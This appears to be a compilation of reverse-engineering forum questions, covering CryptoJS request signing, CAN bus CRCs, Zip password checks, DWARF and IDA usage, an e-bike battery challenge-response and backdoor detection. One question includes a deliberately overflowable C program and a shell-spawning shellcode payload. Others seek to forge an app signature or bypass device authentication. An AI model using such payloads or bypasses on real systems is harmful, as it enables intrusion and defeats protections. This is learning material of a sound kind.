                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c < o; c++) {
                            var u = n[c >>> 2] >>> 24 - c % 4 * 8 & 255;
                            s.push((u >>> 4).toString(16)),
                            s.push((15 & u).toString(16))
                        }
                        return s.join('')
                    },
                    parse: function (t) {
                        for (var n = t.length, o = [], s = 0; s < n; s += 2)
                            o[s >>> 3] |= parseInt(t.substr(s, 2), 16) << 24 - s % 8 * 4;
                        return new f.init(o, n / 2)
                    }
                },
                l = h.Latin1 = {
                    stringify: function (t) {
                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c < o; c++) {
                            var u = n[c >>> 2] >>> 24 - c % 4 * 8 & 255;
                            s.push(String.fromCharCode(u))
                        }
                        return s.join('')
                    },
                    parse: function (t) {
                        for (var n = t.length, o = [], s = 0; s < n; s++)
                            o[s >>> 2] |= (255 & t.charCodeAt(s)) << 24 - s % 4 * 8;
                        return new f.init(o, n)
                    }
                },
                y = h.Utf8 = {
                    stringify: function (t) {
                        try {
                            return decodeURIComponent(escape(l.stringify(t)))
                        } catch (t) {
                            throw new Error('Malformed UTF-8 data')
                        }
                    },
                    parse: function (t) {
                        return l.parse(unescape(encodeURIComponent(t)))
                    }
                },
                v = c.BufferedBlockAlgorithm = u.extend({
                    reset: function () {
                        this._data = new f.init,
                        this._nDataBytes = 0
                    },
                    _append: function (t) {
                        'string' == typeof t && (t = y.parse(t)),
                        this._data.concat(t),
                        this._nDataBytes += t.sigBytes
                    },
                    _process: function (n) {
                        var o = this._data,
                        s = o.words,
                        c = o.sigBytes,
                        u = this.blockSize,
                        h = c / (4 * u),
                        p = (h = n ? t.ceil(h) : t.max((0 | h) - this._minBufferSize, 0)) * u,
                        l = t.min(4 * p, c);
                        if (p) {
                            for (var y = 0; y < p; y += u)
                                this._doProcessBlock(s, y);
                            var v = s.splice(0, p);
                            o.sigBytes -= l
                        }
                        return new f.init(v, l)
                    },
                    clone: function () {
                        var t = u.clone.call(this);
                        return t._data = this._data.clone(),
                        t
                    },
                    _minBufferSize: 0
                }),
                w = (c.Hasher = v.extend({
                        cfg: u.extend(),
                        init: function (t) {
                            this.cfg = this.cfg.extend(t),
                            this.reset()
                        },
                        reset: function () {
                            v.reset.call(this),
                            this._doReset()
                        },
                        update: function (t) {
                            return this._append(t),
                            this._process(),
                            this
                        },
                        finalize: function (t) {
                            return t && this._append(t),
                            this._doFinalize()
                        },
                        blockSize: 16,
                        _createHelper: function (t) {
                            return function (n, o) {
                                return new t.init(o).finalize(n)
                            }
                        },
                        _createHmacHelper: function (t) {
                            return function (n, o) {
                                return new w.HMAC.init(t, o).finalize(n)
                            }
                        }
                    }), s.algo = {});
                return s
            })(Math);
            return t
        },
        "object" == typeof e ? m.exports = e = n() : "function" == typeof define && define.amd ? define([], n) : t.CryptoJS = n()
    }, 726, []);

</code>```

I didn't really understand which one is responsible to reproduce a signature like this : aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA=

additionally in my research I was able to produce a signature but the server always returns invalid signature:

```<code>app signature : aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA=

signature produced : Xpw28zTUMeJE9x4ki73tTs55IxDQy5Y4d0p9kgQgfo8=

</code>```

what am I missing from the above code snippet? can I change it into a pure javascript code?


问:
8 bit CRC help - Automotive
Reverse engineering some Automotive CAN data and the CRC is getting me.
8 bytes per message, with Byte 0 being the CRC.
Byte 1 & 0xF contains a counter [0x0 to 0xF]. The rest of the message is data.

I've tried running lines of data through various CRC calculations but getting nowhere fast. Any help would be appreciated. csv on the link below

I've been running lines of this through reveng and getting the odd match but it's a bit hit and miss

https://drive.google.com/open?id=1w7diZetSim7hVV1P-2Qls3DfFkB-57vT

Data here is:
ID,B0,B1,B2...,B7 in Hex

40F8000000C0000000
409C010000C0000000
4030020000C0000000
4054030000C0000000
4047040000C0000000
4023050000C0000000
408F060000C0000000
40EB070000C0000000
40A9080000C0000000
40CD090000C0000000
4061100000C0000000
4005110000C0000000
4016120000C0000000
4072130000C0000000
40DE140000C0000000
40BA150000C0000000

Thanks in advance,
D

Title: 8 bit CRC help - Automotive


问:
Can i dump dll from pagefile?
Like the title of this question, im trying to dump dll of process but it only return a message Error: Dllbase is paged (pic below)

So is the dll on pagefile and can i extract it from pagefile.sys ?
Thanks

Title: Can i dump dll from pagefile?


问:
Shellcode execution segfault
I have been trying to exploit simple buffer overflow caused by scanf. I'm working on x86 Linux. The point is to spawn a shell. I sucesfully overwritten return address and jumped into my shellcode. But when it executes some strange thing occurs that i can't understand. The code that I'am working on is taken from here: https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/

Compilation: gcc -fno-stack-protector -z execstack -o vuln vuln.c -m32

ASLR is disabled too.
Code:

```<code>#include <stdio.h>

void secretFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the secret function!\n");
}

void echo()
{
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    echo();

    return 0;
}
</code>```

I try to exploit it using this payload:
python -c "print '\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80' + '\x41' * 3 + '\x42' * 4+ '\x8c\xd6\xff\xff' "
shellcode(25) + padding(3) + ebp(4) + return(4)
Where the last part is return address. It succesfully jumps to my shellcode.

Here is the assembly view of shellcode (after returning to overwritten address). I step instructions one by one up to mov %esp, %ecx(0xffffd69d)

And then when i try to execute mov %esp, %ecx it goes one byte too close. EIP should point 0xffffd69f but it doesn't.

I tested shellcode separately and it worked.

```<code>int main()
{
    char buf[] = "\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80";
    ((void (*)())(buf))();
    return 0;
}
</code>```

What I did wrong that it doesnt't work?

EDIT:
Had to update all pictures,
Registers dump before 'mov %esp,%ecx'

Title: Shellcode execution segfault


问:
Which value is used for verifiying Zip password?
I am studying the way that can be used to check if a given password for an encrypted zip file is correct or not. I see this link:

How does a zip file detect a correct password?

In the answer of this question, it said CRC is used to check if a password is correct. It also paste a code snippet from Info-zip to prove this.

However, after carefully studying the Info-zip source code, as below:

```<code>    if ((ush)(c | (b<<8)) != (GLOBAL(pInfo->ExtLocHdr) ?
                           ((ush)GLOBAL(lrec.last_mod_dos_datetime) & 0xffff) :
                           (ush)(GLOBAL(lrec.crc32) >> 16)))
</code>```

I find when there is ExtLocHdr in the zip item, the lower 2 bytes of last_mod_dos_datetime, instead of the CRC, will be used to verify the password. But this is not mentioned in the file format specification in https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT at all.

Why?

OwnerDisplayName: alancc


问:
Ida pro: recompilable c code
Is it possible to produce recompilable C code using IDA pro?

What I mean:

I can export binary into C pseudocode using "produce file" feature. But, the code is not recompilable. First, defs.h file is not present (I don't know if this comes with my ida pro license). I assume this file has all the typedefs, etc. I can use something like defs.h. Then I can fix definitions by removing or replacing "__fastcall" and "__noreturn" (I just added #define __fastcall to ignore this) (I don't if any other replacements required). And remove functions like _gmon_start__, etc. Then I can include required libraries.

Is there a way to all automate this (or is there an elegant way to do this)?

Title: Ida pro: recompilable c code


问:
Unknown 160bit challenge-response (36V ebike battery protocol)
I'm currently trying to build a custom battery pack for an electric bike.

The bike uses 36V batteries from Panasonic (also sold under OEM brands Victoria, Kalkhoff, Rahleigh, Flyer, Kettler).

We've already established that the battery speaks a custom UART protocol with the bike and the charger.

The protocol itself is easy to understand and we've already understood most of it.

There seems to be some sort of challenge-response authentication, though.

The packet format looks as follows:

2 byte preamble (always 2x FF)

1 byte length (not including preamble, length, command and checksum)

1 byte command

n byte payload data, varying length

1 byte checksum = ((0x100 - sum of data bytes) & 0xFF)

Example packets, charger sending Challenge-Response to battery:

Q: FF FF 14 B2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3A

R: FF FF 14 D2 F9 33 FF A6 C6 6B 39 26 EF 82 BB 6E DF 63 08 05 8E 96 96 D2 44

Q: FF FF 14 B2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39

R: FF FF 14 D2 AE F8 49 86 53 4C 41 87 2D 67 CD 74 5D 91 5E 72 79 6A CD C4 37

Q: FF FF 14 B2 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 96

R: FF FF 14 D2 58 3A EE ED C2 F5 C3 B3 95 72 F7 00 25 3A D7 4F 76 C1 2B 96 05

Q: FF FF 14 B2 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA F2

R: FF FF 14 D2 AB 01 C4 32 24 1D EF 96 57 5E 7F F0 8A 67 E8 71 7D 16 E3 E6 E8

As you can see, there is a 20 byte / 160 bit code in the challenge as well as in the response.

Single bit changes in the input lead to a completly different output.

We have asked the real battery with a lot of different challenges and logged the results.

Here is a .csv with ~200k challenge-response pairs:

https://tbspace.de/content/downloads/flyer_challenges_consecutive.csv.zip

(dump also contains shorter status information packets, these need to be ignored)

Unfortunately the entropy of the resulting data seems to be 1.0, which doesn't look too good.

Together with the 160bit data length, this might point to a cryptographic hash function like SHA1.

The battery uses a Renesas M37512 8-bit microcontroller (seems to be based on the 6502).

I'm out of ideas on how to figure out how this challenge-response system works.

Any ideas and suggestions are appreciated.

Thanks!


问:
How to dump firmware from an SD card?
I have an SD card that implements some strange Write-Once-Read-Many technology that I want to check the firmware of. I'm not new to reverse-engineering, but I've never dumped firmware from an SD card before.

Any guidance on where to begin would be appreciated?

Title: How to dump firmware from an SD card?


问:
dwarf: variable offset from base
I have a simple code:

```<code>int main()
{
  int a = 4;
  printf("%d\n", a);
  a = 8;
  if (a == 8)
    printf("%d\n", a);
  return 0;
}
</code>```

DIEs for the function and variable:

```<code> <1><32a>: Abbrev Number: 18 (DW_TAG_subprogram)
    <32b>   DW_AT_external    : 1
    <32b>   DW_AT_name        : (indirect string, offset: 0x19c): main
    <32f>   DW_AT_decl_file   : 1
    <330>   DW_AT_decl_line   : 4
    <331>   DW_AT_decl_column : 5
    <332>   DW_AT_type        : <0x63>
    <336>   DW_AT_low_pc      : 0x4004b2
    <33e>   DW_AT_high_pc     : 0x4b
    <346>   DW_AT_frame_base  : 1 byte block: 9c        (DW_OP_call_frame_cfa)
    <348>   DW_AT_GNU_all_tail_call_sites: 1
 <2><348>: Abbrev Number: 19 (DW_TAG_variable)
    <349>   DW_AT_name        : a
    <34b>   DW_AT_decl_file   : 1
    <34c>   DW_AT_decl_line   : 6
    <34d>   DW_AT_decl_column : 7
    <34e>   DW_AT_type        : <0x63>
    <352>   DW_AT_location    : 2 byte block: 91 6c     (DW_OP_fbreg: -20)
</code>```

And objdump output for the same:

```<code>00000000004004b2 <main>:
  4004b2:       55                      push   rbp
  4004b3:       48 89 e5                mov    rbp,rsp
  4004b6:       48 83 ec 10             sub    rsp,0x10
  4004ba:       c7 45 fc 04 00 00 00    mov    DWORD PTR [rbp-0x4],0x4
  4004c1:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4004c4:       89 c6                   mov    esi,eax
  4004c6:       bf 84 05 40 00          mov    edi,0x400584
  4004cb:       b8 00 00 00 00          mov    eax,0x0
  4004d0:       e8 db fe ff ff          call   4003b0 <printf@plt>
  4004d5:       c7 45 fc 08 00 00 00    mov    DWORD PTR [rbp-0x4],0x8
  4004dc:       83 7d fc 08             cmp    DWORD PTR [rbp-0x4],0x8
  4004e0:       75 14                   jne    4004f6 <main+0x44>
  4004e2:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4004e5:       89 c6                   mov    esi,eax
  4004e7:       bf 84 05 40 00          mov    edi,0x400584
  4004ec:       b8 00 00 00 00          mov    eax,0x0
  4004f1:       e8 ba fe ff ff          call   4003b0 <printf@plt>
  4004f6:       b8 00 00 00 00          mov    eax,0x0
  4004fb:       c9                      leave
  4004fc:       c3                      ret
  4004fd:       0f 1f 00                nop    DWORD PTR [rax]
</code>```

I am curious if detecting variable offset from ebp (assuming ebp is stack base and variable is on stack) is possible, by looking at debugging symbols. For e.g. in this case variable a is present at rbp-0x4. It looks like tag DW_AT_location could give me the location information. But, as per the dwarf documentation - 0x91 belongs to DW_OP_fbreg and 0x6C belongs to DW_AT_const_expr. I don't really get the meaning of this. I also read that DW_AT_frame_base gives the frame base of the function.

I really appreciate any help.

Title: dwarf: variable offset from base


问:
finding specific string in ios dyld_shared_cache
Im trying to find the library inside a dyld cache that contains a specific string.
I grepped the cache file and for the offset of the string, however when im throwing the cache file to ida non of the libraries match the specific offset.
how can i find which library include that string without analyzing 1gb file ?
thanks!</p>


问:
How to use Ghidra to work with VM obfuscated binaries?
By "VM obfuscated binary", I mean a binary that contains one or more implementations of a VM internally, and also some bytecode that can run on this VM. One of the reasons why this binary is this way, is to obfuscate some logic in the byte code. I see that a similar question has been asked for IDA Pro. The answer to that question indicated that IDA Pro does not support disassembly of such bytecode out of the box, but that there is a plugin that can help. Another question is more general, not specific to any tool like IDA Pro, Ghidra, etc.

NB: I'm not asking about the case where a binary is run in a virtual machine, say, Virtual Box, for example because it is suspected of being malware and running it in a virtual machine is a form of protection. Various questions have been asked on how to use IDA Pro, radare2, etc., to reverse engineer such a binary being run in a virtual machine. In the case of interest, we are talking about a binary that implements its own VM internally, and not about some external VM like Virtual Box.

So, it is not a problem disassembling the parts of the binary that implement the VM. The problem at hand is the bytecode. The bytecode architecture is not natively supported by Ghidra, so I'm working on using sleigh to specify it, etc.; that is another question.

The present question --
assuming I have a complete disassembler for the bytecode:

Is there a good way to programmatically figure out that the code may be implementing a VM?

Is there a good way to programmatically figure out where the bytecode begins and where it ends? Like, looking for patterns in the code that implements the VM?

Should I be trying to implement it with Ghidra scripts? Or write a Ghidra analyser? Or something else?


问:
static analysis for identifying backdoors
I am doing a research in identifying backdoors in windows .exe files. Currently I found some methods to detect.
1.String search in .exe
2.find Reffrence .dll and win32 Api calls using import table

What are the other static analysis methods to detect backdoors?